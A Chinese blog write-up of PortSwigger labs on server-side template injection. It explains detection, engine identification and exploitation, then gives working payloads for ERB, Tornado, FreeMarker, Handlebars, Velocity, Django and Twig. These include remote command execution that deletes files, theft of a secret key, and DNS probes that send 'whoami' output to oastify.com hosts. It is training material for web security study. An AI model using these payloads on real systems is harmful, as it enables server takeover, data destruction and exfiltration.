什么是服务器端模板注入?
服务器端模板注入是指攻击者能够使用本机模板语法将恶意负载注入模板,然后在服务器端执行。
模板引擎旨在通过将固定模板与易失性数据相结合来生成网页。当用户输入直接连接到模板中,而不是作为数据传入时,可能会发生服务器端模板注入攻击。这允许攻击者注入任意模板指令以操纵模板引擎,通常使他们能够完全控制服务器。顾名思义,服务器端模板注入有效负载是在服务器端交付和评估的,这可能使它们比典型的客户端模板注入更危险。
服务器端模板注入有什么影响?
服务器端模板注入漏洞可能会使网站受到各种攻击,具体取决于所讨论的模板引擎以及应用程序使用它的确切方式。在某些极少数情况下,这些漏洞不会构成真正的安全风险。但是,大多数时候,服务器端模板注入的影响可能是灾难性的。
在规模最严重的一端,攻击者可能会实现远程代码执行,完全控制后端服务器并使用它来对内部基础结构执行其他攻击。
即使在无法完全远程执行代码的情况下,攻击者通常仍然可以使用服务器端模板注入作为许多其他攻击的基础,从而可能获得对服务器上敏感数据和任意文件的读取访问权限。
服务器端模板注入漏洞是如何产生的?
当用户输入连接到模板而不是作为数据传入时,会出现服务器端模板注入漏洞。
仅提供呈现动态内容的占位符的静态模板通常不易受到服务器端模板注入的影响。典型的示例是一封电子邮件,它通过每个用户的名称问候他们,例如以下来自 Twig 模板的摘录:
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );
这不容易受到服务器端模板注入的影响,因为用户的名字只是作为数据传递到模板中。
但是,由于模板只是字符串,因此 Web 开发人员有时会在呈现之前直接将用户输入连接到模板中。让我们举一个与上面类似的示例,但这一次,用户可以在发送电子邮件之前自定义电子邮件的某些部分。例如,他们可能能够选择使用的名称:
$output = $twig->render("Dear " . $_GET['name']);
在此示例中,不是将静态值传递到模板中,而是使用参数 动态生成模板本身的一部分。由于模板语法是在服务器端评估的,因此这可能允许攻击者在参数中放置服务器端模板注入有效负载,如下所示:GET``name``name
http://vulnerable-website.com/?name={{bad-stuff-here}}
像这样的漏洞有时是由于不熟悉安全隐患的人的模板设计不佳而意外引起的。如上例所示,您可能会看到不同的组件,其中一些组件包含用户输入,连接并嵌入到模板中。在某些方面,这类似于在编写不佳的准备语句中发生的SQL 注入漏洞。
但是,有时此行为实际上是有意实现的。例如,某些网站故意允许某些特权用户(如内容编辑者)通过设计编辑或提交自定义模板。如果攻击者能够破坏具有此类权限的帐户,这显然会带来巨大的安全风险。
构建服务器端模板注入攻击
识别服务器端模板注入漏洞并制定成功的攻击通常涉及以下高级过程。
检测
服务器端模板注入漏洞通常被忽视,不是因为它们很复杂,而是因为它们只对明确寻找它们的审计人员真正明显。如果您能够检测到存在漏洞,则利用该漏洞非常容易。在非沙盒环境中尤其如此。
与任何漏洞一样,利用的第一步是能够找到它。也许最简单的初始方法是尝试通过注入模板表达式中常用的特殊字符序列(如 .如果引发异常,则表示服务器可能以某种方式解释注入的模板语法。这是可能存在服务器端模板注入漏洞的一个迹象。${{<%[%'"}}%\
服务器端模板注入漏洞发生在两个不同的上下文中,每个上下文都需要自己的检测方法。无论模糊测试尝试的结果如何,尝试以下特定于上下文的方法也很重要。如果模糊测试没有定论,则使用这些方法之一仍可能显示漏洞。即使模糊测试确实暗示了模板注入漏洞,您仍然需要确定其上下文才能利用它。
纯文本上下文
大多数模板语言允许您直接使用 HTML 标记或使用模板的本机语法自由输入内容,这些语法将在发送 HTTP 响应之前呈现为后端的 HTML。例如,在 Freemark 中,该行将呈现为类似 . render('Hello ' + username)``Hello Carlos
这有时可以被 XSS 利用,实际上经常被误认为是简单的XSS漏洞。但是,通过将数学运算设置为参数的值,我们可以测试这是否也是服务器端模板注入攻击的潜在入口点。
例如,考虑包含以下易受攻击代码的模板:
如果生成的输出包含 ,则表明正在服务器端计算数学运算。这是服务器端模板注入漏洞的一个很好的概念证明。Hello 49
请注意,成功评估数学运算所需的特定语法将根据所使用的模板引擎而有所不同。我们将在识别步骤中更详细地讨论这一点。
代码上下文
在其他情况下,漏洞是通过将用户输入放置在模板表达式中暴露的,正如我们之前在电子邮件示例中看到的那样。这可以采用将用户可控制的变量名称放置在参数中的形式,例如:
greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)
在网站上,生成的 URL 如下所示:
http://vulnerable-website.com/?greeting=data.username
例如,这将在输出中呈现为 。Hello Carlos
在评估过程中很容易错过此上下文,因为它不会导致明显的 XSS,并且与简单的哈希图查找几乎没有区别。在此上下文中测试服务器端模板注入的一种方法是首先通过将任意 HTML 注入值来确定参数不包含直接 XSS 漏洞:
http://vulnerable-website.com/?greeting=data.username<tag>
在没有 XSS 的情况下,这通常会导致输出中出现空白条目(只是没有用户名)、编码标签或错误消息。下一步是尝试使用常见的模板语法脱离语句,并尝试在其后注入任意 HTML:Hello
http://vulnerable-website.com/?greeting=data.username}}<tag>
如果这再次导致错误或空白输出,则您使用了错误的模板语言的语法,或者,如果没有模板样式语法似乎有效,则无法进行服务器端模板注入。或者,如果输出与任意 HTML 一起正确呈现,则这是存在服务器端模板注入漏洞的关键指示:
Hello Carlos<tag>
识别
检测到模板注入潜力后,下一步是确定模板引擎。
尽管有大量的模板语言,但其中许多使用非常相似的语法,专门选择不与HTML字符冲突。因此,创建探测有效负载以测试正在使用的模板引擎可能相对简单。
只需提交无效语法通常就足够了,因为生成的错误消息会准确地告诉您模板引擎是什么,有时甚至是哪个版本。例如,无效表达式会触发来自基于 Ruby 的 ERB 引擎的以下响应:<%=foobar%>
(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'
否则,您需要手动测试不同的特定于语言的有效负载,并研究模板引擎如何解释它们。使用基于语法似乎有效或无效的排除过程,您可以比您想象的更快地缩小选项范围。执行此操作的常用方法是使用来自不同模板引擎的语法注入任意数学运算。然后,您可以观察它们是否成功评估。为了帮助完成此过程,您可以使用类似于以下内容的决策树:
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
${{<%[%'"}}%\
您应该知道,相同的有效负载有时会以多种模板语言返回成功的响应。例如,有效负载在 Twig 和 Jinja2 中返回。因此,重要的是不要根据单一的成功响应就妄下结论。{{7*'7'}}``49``7777777
利用
检测到存在潜在漏洞并成功识别模板引擎后,您可以开始尝试寻找利用它的方法。
了解基本模板语法
学习基本语法以及关键函数和变量处理显然很重要。即使是像学习如何在模板中嵌入本机代码块这样简单的事情有时也会很快导致漏洞利用。例如,一旦您知道正在使用基于 Python 的 Mako 模板引擎,实现远程代码执行可能非常简单:
<%
import os
x=os.popen('id').read()
%>
${x}
在非沙盒环境中,实现远程代码执行并使用它来读取、编辑或删除任意文件在许多常见模板引擎中同样简单。
实验室:基本服务器端模板注入[ ERB ]
由于 ERB 模板的构造不安全,此实验室容易受到服务器端模板注入的影响。
要解决实验室问题,请查看 ERB 文档以了解如何执行任意代码,然后从 Carlos 的主目录中删除该文件。morale.txt
https://forum.butian.net/share/977
https://portswigger.net/research/server-side-template-injection
<%25%3d+7*7+%25>
从 Ruby 文档中,发现可用于执行任意操作系统命令的方法。system()
构造一个有效负载以删除 Carlos 的文件,如下所示:
<%= system("rm /home/carlos/morale.txt") %>
实验室:基本服务器端模板注入(代码上下文)[Tornado]
由于该实验室不安全地使用 Tornado 模板的方式,因此容易受到服务器端模板注入的影响。要解决实验室问题,请查看 Tornado 文档以了解如何执行任意代码,然后从 Carlos 的主目录中删除该文件。morale.txt
抓包
研究 Tornado 文档,发现模板表达式用双大括号括起来,例如 .在 Burp 中继器中,请注意,可以从表达式中转义并注入任意模板语法,如下所示:{{someExpression}}
blog-post-author-display=user.name}}{{7*7}}
在 Tornado 文档中,确定执行任意 Python 的语法:
{% somePython %}
结合这些知识来构建一个删除 Carlos 文件的有效负载:
{% import os %}
{{os.system('rm /home/carlos/morale.txt')
paylaod
blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')
dnslog探测
user.name}}{%25+import+os+%25}{{os.system('ping%20-c%201%20`whoami`.7qyyyy91g87sn2dosden203nze54tt.oastify.com')
了解安全隐患
除了提供如何创建和使用模板的基础知识外,文档还可能提供某种“安全性”部分。此部分的名称会有所不同,但它通常会概述人们应避免使用模板执行的所有潜在危险操作。这可能是一个宝贵的资源,甚至可以作为一种备忘单,在审计期间应该寻找哪些行为,以及如何利用它们。
即使没有专门的“安全”部分,如果特定的内置对象或函数可能带来安全风险,文档中也几乎总是有某种警告。警告可能不会提供太多细节,但至少它应该将此特定内置标记为要调查的内容。
例如,在 ERB 中,文档显示您可以列出所有目录,然后读取任意文件,如下所示:
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
实验室:使用文档进行服务器端模板注入[FreeMarker]
此实验室容易受到服务器端模板注入的影响。要解决实验室问题,请确定模板引擎并使用文档来确定如何执行任意代码,然后从 Carlos 的主目录中删除该文件。morale.txt
您可以使用以下凭据登录到自己的帐户:
content-manager:C0nt3ntM4n4g3r
登陆后有一个文档模版编辑
应该是在这里进行payload构造
尝试输入${aaa}
页面报错,判断使用的是freemarker
模版
DEBUG mode; use RETHROW in production!): The following has evaluated to null or missing: ==> aaa [in template "freemarker" at line 5, column 18
在线手册[FreeMarker 中文官方参考手册 (foofun.cn)](http://freemarker.foofun.cn/toc.html)
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }
先尝试执行id命令
可以执行,题目要求删除Carlos 的主目录中的morale.txt。构造payload
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }
成功删除
dnslog
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("ping -c 1 `whoami`.76bcugvdosayq1ontf4k47l48vel2a.oastify.com")}
Payload
[FreeMarker模板注入实现远程命令执行 - Eleven_Liu - 博客园 (cnblogs.com)](https://www.cnblogs.com/Eleven-Liu/p/12747908.html)
<#assign ex="freemarker.template.utility.JythonRuntime"?new()><@ex>import os;os.system("执行的命令")</@ex>
or
<#assign ex="freemarker.template.utility.ObjectConstructor"?new()>${ex("java.lang.ProcessBuilder","calc.exe").start()}
or
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("calc.exe")}
查找已知的漏洞
利用服务器端模板注入漏洞的另一个关键方面是善于在线查找其他资源。一旦您能够识别正在使用的模板引擎,您应该浏览 Web 以查找其他人可能已经发现的任何漏洞。由于一些主要模板引擎的广泛使用,有时可以找到有据可查的漏洞利用,您可以对其进行调整以利用您自己的目标网站。
实验室:使用未知语言进行服务器端模板注入,并记录在案【handlebars】
此实验室容易受到服务器端模板注入的影响。要解决本实验问题,请确定模板引擎并在线查找可用于执行任意代码的记录漏洞利用,然后从 Carlos 的主目录中删除该文件。
morale.txt
确定采用handlebars
payload
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
对其进行url编码
dnslog
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('ping -c 1 `whoami`.sso2iy0qh3xstftl9adxfri2ptvlja.oastify.com');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
成功获取
探讨
此时,您可能已经使用文档偶然发现了一个可行的漏洞利用。如果没有,下一步是探索环境并尝试发现您有权访问的所有对象。
许多模板引擎公开某种类型的“self”或“环境”对象,其作用类似于包含模板引擎支持的所有对象、方法和属性的命名空间。如果存在此类对象,则可以使用它来生成范围内的对象列表。例如,在基于 Java 的模板语言中,有时可以使用以下注入列出环境中的所有变量:
${T(java.lang.System).getenv()}
这可以构成创建潜在有趣对象和方法的候选列表的基础,以便进一步调查。此外,对于Burp Suite Professional用户,入侵者为暴力破解变量名称提供了一个内置的单词列表
开发人员提供的对象
请务必注意,网站将包含模板提供的内置对象和 Web 开发人员提供的自定义站点特定对象。应特别注意这些非标准对象,因为它们特别可能包含敏感信息或可利用的方法。由于这些对象可能因同一网站内的不同模板而异,因此请注意,在找到利用对象的方法之前,您可能需要在每个不同模板的上下文中研究对象的行为。
虽然服务器端模板注入可能会导致远程代码执行和完全接管服务器,但实际上这并不总是可以实现的。但是,仅仅因为您已经排除了远程代码执行,并不一定意味着没有其他类型的攻击的可能性。您仍然可以利用服务器端模板注入漏洞进行其他高严重性攻击(例如目录遍历)来访问敏感数据。
实验室:服务器端模板注入,通过用户提供的对象泄露信息【Django】
由于将对象传递到模板中的方式,此实验室容易受到服务器端模板注入的影响。可利用此漏洞访问敏感数据。
要解决实验室问题,请窃取并提交框架的密钥。
您可以使用以下凭据登录到自己的帐户:
content-manager:C0nt3ntM4n4g3r
{{7*7}},报错信息
django模版注入
文档[部署清单 | Django 文档 | Django (djangoproject.com)](https://docs.djangoproject.com/zh-hans/3.1/howto/deployment/checklist/)
如查看SECRET_KEY
{{settings.SECRET_KEY}}
像下面的都不应该查看或设置,查看是否违规:[设置 |姜戈 文档 |姜戈 (djangoproject.com)](https://docs.djangoproject.com/zh-hans/2.0/ref/settings/#std:setting-SECRET_KEY)
{{settings.SERVER_EMAIL}}
{{settings.TEST_RUNNER}}
{{settings.PASSWORD_HASHERS}}
违规
创建自定义攻击
到目前为止,我们主要着眼于通过重用记录的漏洞利用或使用模板引擎中的已知漏洞来构建攻击。但是,有时您需要构建自定义漏洞。例如,您可能会发现模板引擎在沙盒中执行模板,这可能会使利用变得困难,甚至不可能。
确定攻击面后,如果没有明显的方法来利用此漏洞,则应通过查看每个函数的可利用行为来继续使用传统的审核技术。通过有条不紊地完成此过程,您有时可以构建复杂的攻击,甚至能够利用更安全的目标。
使用对象链构建自定义漏洞
如上所述,第一步是标识您有权访问的对象和方法。有些物体可能会立即跳出来,因为有趣。通过结合您自己的知识和文档中提供的信息,您应该能够将要更彻底调查的对象候选列表放在一起。
在研究对象的文档时,请特别注意这些对象授予对哪些方法的访问权限,以及它们返回哪些对象。通过向下钻取文档,可以发现可以链接在一起的对象和方法的组合。将正确的对象和方法链接在一起有时允许您访问最初看起来遥不可及的危险功能和敏感数据。
例如,在基于 Java 的模板引擎 Velocity 中,您可以访问名为 .研究文档表明,您可以链接方法和属性以获取对任意对象的引用。过去,这已被利用在目标系统上执行 shell 命令,如下所示:
ClassTool $class $class.inspect() $class.type
${object.getClass()}
$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")
实验室:沙盒环境中的服务器端模板注入【Freemarker】
本实验使用 Freemarker 模板引擎。由于其沙盒实现不佳,它容易受到服务器端模板注入的影响。要解决实验室问题,请跳出沙盒,从 Carlos 的主目录中读取文件。然后提交文件的内容。my_password.txt
您可以使用以下凭据登录到自己的帐户:
content-manager:C0nt3ntM4n4g3r
尝试 Freemarker 模板注入
不允许实例化
突破
https://ackcent.com/in-depth-freemarker-template-injection/
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
https://onlineasciitools.com/convert-bytes-to-ascii
实验室:使用开发人员提供的对象构建自定义漏洞利用【Twig】
默认情况下,某些模板引擎在安全的锁定环境中运行,以尽可能降低相关风险。尽管这使得很难利用此类模板进行远程代码执行,但开发人员创建的暴露给模板的对象可以提供更进一步的、战斗强度较低的攻击面。
但是,虽然通常会为模板内置提供大量文档,但几乎可以肯定的是,特定于站点的对象根本没有文档。因此,要弄清楚如何利用它们,您需要手动调查网站的行为,以识别攻击面并相应地构建自己的自定义漏洞。
此实验室容易受到服务器端模板注入的影响。要解决实验室问题,请创建自定义漏洞利用以从 Carlos 的主目录中删除该文件。
/.ssh/id_rsa
您可以使用以下凭据登录到自己的帐户:
wiener:peter
填写用户信息
在文章处评论
确定模版引擎
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
测试文件上传功能,上传txt文件
PHP Fatal error: Uncaught Exception: Uploaded file mime type is not an image: text/plain in /home/carlos/User.php:28
Stack trace:
#0 /home/carlos/avatar_upload.php(19): User->setAvatar('/tmp/a.txt', 'text/plain')
#1 {main}
thrown in /home/carlos/User.php on line 28
User->setAvatar('/tmp/a.txt', 'text/plain')
即存在一个setAvatar
方法,可以使用第一个模版注入进行调用
构造payload:
每次都需要重新抓包,构造payload,因为存在csrf防护
blog-post-author-display=user.setAvatar('/etc/passwd','image/jpg')
后端执行
获取/home/carlos/User.php
源码. user.setAvatar('/home/carlos/User.php','image/jpg')
<?php
class User {
public $username;
public $name;
public $first_name;
public $nickname;
public $user_dir;
public function __construct($username, $name, $first_name, $nickname) {
$this->username = $username;
$this->name = $name;
$this->first_name = $first_name;
$this->nickname = $nickname;
$this->user_dir = "users/" . $this->username;
$this->avatarLink = $this->user_dir . "/avatar";
if (!file_exists($this->user_dir)) {
if (!mkdir($this->user_dir, 0755, true))
{
throw new Exception("Could not mkdir users/" . $this->username);
}
}
}
public function setAvatar($filename, $mimetype) {
if (strpos($mimetype, "image/") !== 0) {
throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
}
if (is_link($this->avatarLink)) {
$this->rm($this->avatarLink);
}
if (!symlink($filename, $this->avatarLink)) {
throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
}
}
public function delete() {
$file = $this->user_dir . "/disabled";
if (file_put_contents($file, "") === false) {
throw new Exception("Could not write to " . $file);
}
}
public function gdprDelete() {
$this->rm(readlink($this->avatarLink));
$this->rm($this->avatarLink);
$this->delete();
}
private function rm($filename) {
if (!unlink($filename)) {
throw new Exception("Could not delete " . $filename);
}
}
}
?>
我们可以看到 gdprDelete 删除了头像。现在让我们尝试删除id_rsa。
首先使用setAvatar
将头像设置为
/home/carlos/.ssh/id_rsa
user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')
现在发送请求并调用 gdprDelete()方法并重新加载页面。
/home/carlos/avatar_upload.php
源码
<?php
require_once("./User.php");
if ($_FILES['avatar']['error'] !== 0) {
throw new Exception("Error in file upload: " . $_FILES['avatar']['error']);
}
if (strpos($_FILES['avatar']['name'], "/") !== false || strpos($_FILES['avatar']['name'], ".") === false) {
throw new Exception("Uploaded file name is invalid: " . $_FILES['avatar']['name']);
}
$file = "/tmp/" . $_FILES['avatar']['name'];
if (!move_uploaded_file($_FILES['avatar']['tmp_name'], $file)) {
throw new Exception("Could not move uploaded file '" . $_FILES['avatar']['tmp_name'] . "' to '" . $file . "'");
}
$user = new User($_POST['user'], null, null, null);
$user->setAvatar($file, $_FILES['avatar']['type']);
header('Location: ./');
?>
如何防止服务器端模板注入漏洞
防止服务器端模板注入的最佳方法是不允许任何用户修改或提交新模板。但是,由于业务需求,这有时是不可避免的。
避免引入服务器端模板注入漏洞的最简单方法之一是始终使用“无逻辑”模板引擎,例如 Mustache,除非绝对必要。尽可能将逻辑与表示分开可以大大减少您遭受最危险的基于模板的攻击的风险。
另一种措施是仅在沙盒环境中执行用户的代码,其中潜在的危险模块和功能已被完全删除。不幸的是,沙盒处理不受信任的代码本质上是困难的,并且容易被绕过。
最后,另一种补充方法是接受任意代码执行几乎是不可避免的,例如,通过在锁定的 Docker 容器中部署模板环境来应用您自己的沙盒
标签:引擎,服务器端,portswigger,漏洞,SSTI,文档,模板,注入 From: https://www.cnblogs.com/JKding233/p/17725100.html